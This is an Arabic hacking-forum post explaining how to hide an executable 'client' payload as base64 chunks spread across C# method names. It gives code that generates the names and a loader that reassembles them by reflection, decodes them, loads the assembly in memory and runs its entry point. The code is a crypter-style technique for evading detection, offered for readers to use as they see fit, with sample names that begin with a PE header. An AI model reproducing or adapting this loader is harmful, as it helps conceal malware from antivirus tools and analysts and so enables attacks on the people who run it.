07.02.2018 Hack Over Functions's Names


  • الـلـهـم انـصـر اخـوانـنـا الـمـسـلـمـيـن فـي بـورمـا وكـن مـعـهـم يـاربـاه يـاربـاه

BasharBachir

اللهم اغفر له وارحمه
طاقم الإدارة
28 أكتوبر 2018
2,620
3,576
1
ياكم الله ياشباب
انا نزلت موضوع قبل تقريبا تسعة اشهر هنا
GetCurrentMethod And Cleanup your Server
وكنت مش قادر وقتها "برمجيا" انني اقسم قيم الكلاينت "ايا كان نوعها" واحطهم ك اسماء للفانكشنات
طبعا الطريقة نفسها بتقدر بدل مايكون اسماء للفانكشنات تكون هيه قيم كلاينتك
تقدر يكون اسماء المتغيرات او النيم سبيسس او حتى الانترفيسس
الخلاصة من الموضوع فقط اعادة للموضوع القديم بس بدل مانقوم بذلك يدويا
"يمكن تشتغل ساعه ومايخلصو القيم"
اما الان برمجيا كبسة زر بيمشي الحال بيتولد عندك اسماء للفانكشنات هيه عبارة عن قيم كلاينتك
نوع القيم مابيهم بس ك تجريب تم على بيس64 ..
لاتتلزم بمحتوى السورس ابدا ..المغزى هوة الطريقة لااكثر ..
بس شو تستخدم من خلال الطريقة وكيف تستخدم الطريقة هذا يعود لك
اسف ماعندي وقت ازبط السورس النهائي حتى يكون بافضل شكل ممكن انني اسويه
لان الموضوع مش بيتحدث عن هالشي اصلا ..
الفانكشن المستخدمة هنا
C#:
static string Get2(string s)
           {
               var random = new Random();
               var stringBuilder = new StringBuilder();
               var n1 = 0;
               var numArray = new string[1000];
               while (n1 < s.Length)
               {
                   var n2 = random.Next(901, 1000);
                   for (var index = n1; index < s.Length && index < n1 + n2; ++index)
                       numArray[index - n1] = s[index].ToString();
                   stringBuilder.Append("public static void ");
                   for (var index = 0; index < n2; ++index)
                       stringBuilder.Append($"{numArray[index]}");
                   n1 += n2;
                   stringBuilder.AppendLine("(){}");
               }
               return stringBuilder.ToString();
           }
الناتج النهائي فقط للتجربة بيكون مثل هنا ..
رح يتم جلب اسماء الفانكشنات كلها التابعة للكلاس الحالي Program
C#:
static void Main()
           {
               var f = ListMethods(typeof(Program));
           Interaction.CallByName(Interaction.CallByName(Type.GetType("System.Reflection.Assembly")?.GetMethod("Load", new[] { typeof(byte[]) })
    ?.Invoke(null, new[] { Type.GetType("System.Convert")?.GetMethod("FromBase64String", new []{typeof(string)})?.Invoke(null, new object[]
      { f.Remove(f.Length -32).Replace("ä","+").Replace("ö","/") }) }) ?? throw new InvalidOperationException(), "EntryPoint", CallType.Get), "Invoke", CallType.Method, 10000000 - 10000000, null);
 
       }
           static string ListMethods(Type t)
           {
               var mi = t.GetMethods();
               var s = String.Empty;
               foreach (var m in mi)
               {
                   s += m.Name;
               }
               return s;
           }
       public static void TVqQAAMAAAAEAAAAöö8AALgAAAAAAAAAQAAAAAAAAAAAA() { }
       public static void H0CAAAEAhZ9AwAABA() { }
       public static void AAACnKfAABwAgJ7DAAA() { }
الناتج من الموضوع رح تخترق وقيم كلاينتك مش موجودة ك متغير او متغيرات بالسورس
موجودة ك "اسماء" الفانكشنات ..وهالشي وقت حطيت الموضوع كان جديد
وللان اعتقد جديد ههه
طبعا القيم طويلة جدا لهيك اجتزأت منها هنا .. اما الناتج بيكون مثل هنا بالصورة


الفديو بالمرفقات


 

المرفقات

إخلاء مسؤلية

  • المنتدى غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به protection-tips غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به من بيع وشراء وإتفاق وأعطاء معلومات موقعه التعليقات المنشورة لا تعبر عن رأي معهد المنتدى ولا نتحمل أي مسؤولية قانونية حيال ذلك (ويتحمل كاتبها مسؤولية النشر).).

الإنتقال السريع

User Menu

تابعنا على الفيسبوك